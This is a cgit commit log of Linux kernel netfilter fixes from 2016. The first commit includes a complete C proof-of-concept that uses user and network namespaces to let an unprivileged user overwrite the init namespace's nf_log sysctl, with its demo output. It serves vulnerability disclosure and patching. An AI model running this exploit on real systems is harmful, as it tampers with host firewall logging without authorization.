| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | nf_log_proc_dostring() used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and the nf_log files in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace's nf_log sysctls. Stash the "struct net *" in extra2 - data and extra1 are already used. Repro code: #define _GNU_SOURCE #include <stdlib.h> #include <sched.h> #include <err.h> #include <sys/mount.h> #include <sys/types.h> #include <sys/wait.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <stdio.h> char child_stack[1000000]; uid_t outer_uid; gid_t outer_gid; int stolen_fd = -1; void writefile(char *path, char *buf) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "unable to open thing"); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, "unable to write thing"); close(fd); } int child_fn(void *p_) { if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC, NULL)) err(1, "mount"); /* Yes, we need to set the maps for the net sysctls to recognize us * as namespace root. */ char buf[1000]; sprintf(buf, "0 %d 1\n", (int)outer_uid); writefile("/proc/1/uid_map", buf); writefile("/proc/1/setgroups", "deny"); sprintf(buf, "0 %d 1\n", (int)outer_gid); writefile("/proc/1/gid_map", buf); stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY); if (stolen_fd == -1) err(1, "open nf_log"); return 0; } int main(void) { outer_uid = getuid(); outer_gid = getgid(); int child = clone(child_fn, child_stack + sizeof(child_stack), CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL); if (child == -1) err(1, "clone"); int status; if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child exit status bad"); char *data = "NONE"; if (write(stolen_fd, data, strlen(data)) != strlen(data)) err(1, "write"); return 0; } Repro: $ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONE Because this looks like an issue with very low severity, I'm sending it to the public list directly. Signed-off-by: Jann Horn <jann@thejh.net> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: xt_hashlimit: Fix link error in 32bit arch because of 64bit divisionVishwanath Pai2016-09-30
| | | | | | | | | | Division of 64bit integers will cause linker error undefined reference to `__udivdi3'. Fix this by replacing divisions with div64_64 Fixes: 11d5f15723c9 ("netfilter: xt_hashlimit: Create revision 2 to ...") Signed-off-by: Vishwanath Pai <vpai@akamai.com> Acked-by: Maciej Żenczykowski <maze@google.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: accommodate different kconfig in nf_set_hooks_headAaron Conole2016-09-30
| | | | | | | | | | When CONFIG_NETFILTER_INGRESS is unset (or no), we need to handle the request for registration properly by dropping the hook. This releases the entry during the set. Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list") Signed-off-by: Aaron Conole <aconole@bytheb.org> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: Fix potential null pointer dereferenceAaron Conole2016-09-30
| | | | | | | | | | | | | | | It's possible for nf_hook_entry_head to return NULL. If two nf_unregister_net_hook calls happen simultaneously with a single hook entry in the list, both will enter the nf_hook_mutex critical section. The first will successfully delete the head, but the second will see this NULL pointer and attempt to dereference. This fix ensures that no null pointer dereference could occur when such a condition happens. Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list") Signed-off-by: Aaron Conole <aconole@bytheb.org> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* Merge branch 'master' of ↵Pablo Neira Ayuso2016-09-25
|\ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next Conflicts: net/netfilter/core.c net/netfilter/nf_tables_netdev.c Resolve two conflicts before pull request for David's net-next tree: 1) Between c73c24849011 ("netfilter: nf_tables_netdev: remove redundant ip_hdr assignment") from the net tree and commit ddc8b6027ad0 ("netfilter: introduce nft_set_pktinfo_{ipv4, ipv6}_validate()"). 2) Between e8bffe0cf964 ("net: Add _nf_(un)register_hooks symbols") and Aaron Conole's patches to replace list_head with single linked list. Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
| * Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/netDavid S. Miller2016-09-23
| |\
| | * netfilter: synproxy: Check oom when adding synproxy and seqadj ct extensionsGao Feng2016-09-13
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | When memory is exhausted, nfct_seqadj_ext_add may fail to add the synproxy and seqadj extensions. The function nf_ct_seqadj_init doesn't check if get valid seqadj pointer by the nfct_seqadj. Now drop the packet directly when fail to add seqadj extension to avoid dereference NULL pointer in nf_ct_seqadj_init from init_conntrack(). Signed-off-by: Gao Feng <fgao@ikuai8.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
| | * netfilter: nf_nat: handle NF_DROP from nfnetlink_parse_nat_setup()Pablo Neira Ayuso2016-09-12
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | nf_nat_setup_info() returns NF_* verdicts, so convert them to error codes that is what ctnelink expects. This has passed overlook without having any impact since this nf_nat_setup_info() has always returned NF_ACCEPT so far. Since 870190a9ec90 ("netfilter: nat: convert nat bysrc hash to rhashtable"), this is problem. Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
| | * netfilter: nf_tables_trace: fix endiness when dump chain policyLiping Zhang2016-09-05
| | | | | | | | | | | | | | | | | | | | | | | | | | | NFTA_TRACE_POLICY attribute is big endian, but we forget to call htonl to convert it. Fortunately, this attribute is parsed as big endian in libnftnl. Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
| * | sctp: rename WORD_TRUNC/ROUND macrosMarcelo Ricardo Leitner2016-09-22
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | To something more meaningful these days, specially because this is working on packet headers or lengths and which are not tied to any CPU arch but to the protocol itself. So, WORD_TRUNC becomes SCTP_TRUNC4 and WORD_ROUND becomes SCTP_PAD4. Reported-by: David Laight <David.Laight@ACULAB.COM> Reported-by: David Miller <davem@davemloft.net> Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net>
| * | net: Add _nf_(un)register_hooks symbolsMahesh Bandewar2016-09-19
| | | | | | | | | | | | | | | | | | | | | | | | | | | Add _nf_register_hooks() and _nf_unregister_hooks() calls which allow caller to hold RTNL mutex. Signed-off-by: Mahesh Bandewar <maheshb@google.com> CC: Pablo Neira Ayuso <pablo@netfilter.org> Signed-off-by: David S. Miller <davem@davemloft.net>
| * | Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/netDavid S. Miller2016-09-12
| |\| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Conflicts: drivers/net/ethernet/mediatek/mtk_eth_soc.c drivers/net/ethernet/qlogic/qed/qed_dcbx.c drivers/net/phy/Kconfig All conflicts were cases of overlapping commits. Signed-off-by: David S. Miller <davem@davemloft.net>
| | * netfilter: nf_tables_netdev: remove redundant ip_hdr assignmentLiping Zhang2016-08-30
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | We have already use skb_header_pointer to get the ip header pointer, so there's no need to use ip_hdr again. Moreover, in NETDEV INGRESS hook, ip header maybe not linear, so use ip_hdr is not appropriate, remove it. Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
| | * netfilter: nft_meta: improve the validity check of pkttype set exprLiping Zhang2016-08-25
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | "meta pkttype set" is only supported on prerouting chain with bridge family and ingress chain with netdev family. But the validate check is incomplete, and the user can add the nft rules on input chain with bridge family, for example: # nft add table bridge filter # nft add chain bridge filter input {type filter hook input \ priority 0 \;} # nft add chain bridge filter test # nft add rule bridge filter test meta pkttype set unicast # nft add rule bridge filter input jump test This patch fixes the problem. Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
| | * netfilter: cttimeout: unlink timeout objs in the unconfirmed ct listsLiping Zhang2016-08-25
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | KASAN reported this bug: BUG: KASAN: use-after-free in icmp_packet+0x25/0x50 [nf_conntrack_ipv4] at addr ffff880002db08c8 Read of size 4 by task lt-nf-queue/19041 Call Trace: <IRQ> [<ffffffff815eeebb>] dump_stack+0x63/0x88 [<ffffffff813386f8>] kasan_report_error+0x528/0x560 [<ffffffff81338cc8>] kasan_report+0x58/0x60 [<ffffffffa07393f5>] ? icmp_packet+0x25/0x50 [nf_conntrack_ipv4] [<ffffffff81337551>] __asan_load4+0x61/0x80 [<ffffffffa07393f5>] icmp_packet+0x25/0x50 [nf_conntrack_ipv4] [<ffffffffa06ecaa0>] nf_conntrack_in+0x550/0x980 [nf_conntrack] [<ffffffffa06ec550>] ? __nf_conntrack_confirm+0xb10/0xb10 [nf_conntrack] [ ... ] The main reason is that we missed to unlink the timeout objects in the unconfirmed ct lists, so we will access the timeout objects that have already been freed. Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
| | * netfilter: cttimeout: put back l4proto when replacing timeout policyLiping Zhang2016-08-25
| | | | | | | | | | | | | | | | | | | | | | | | | | | We forget to call nf_ct_l4proto_put when replacing the existing timeout policy. Acctually, there's no need to get ct l4proto before doing replace, so we can move it to a later position. Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
generated by cgit v1.2.2 (git 2.25.0) at 2025-04-03 11:16:45 -0400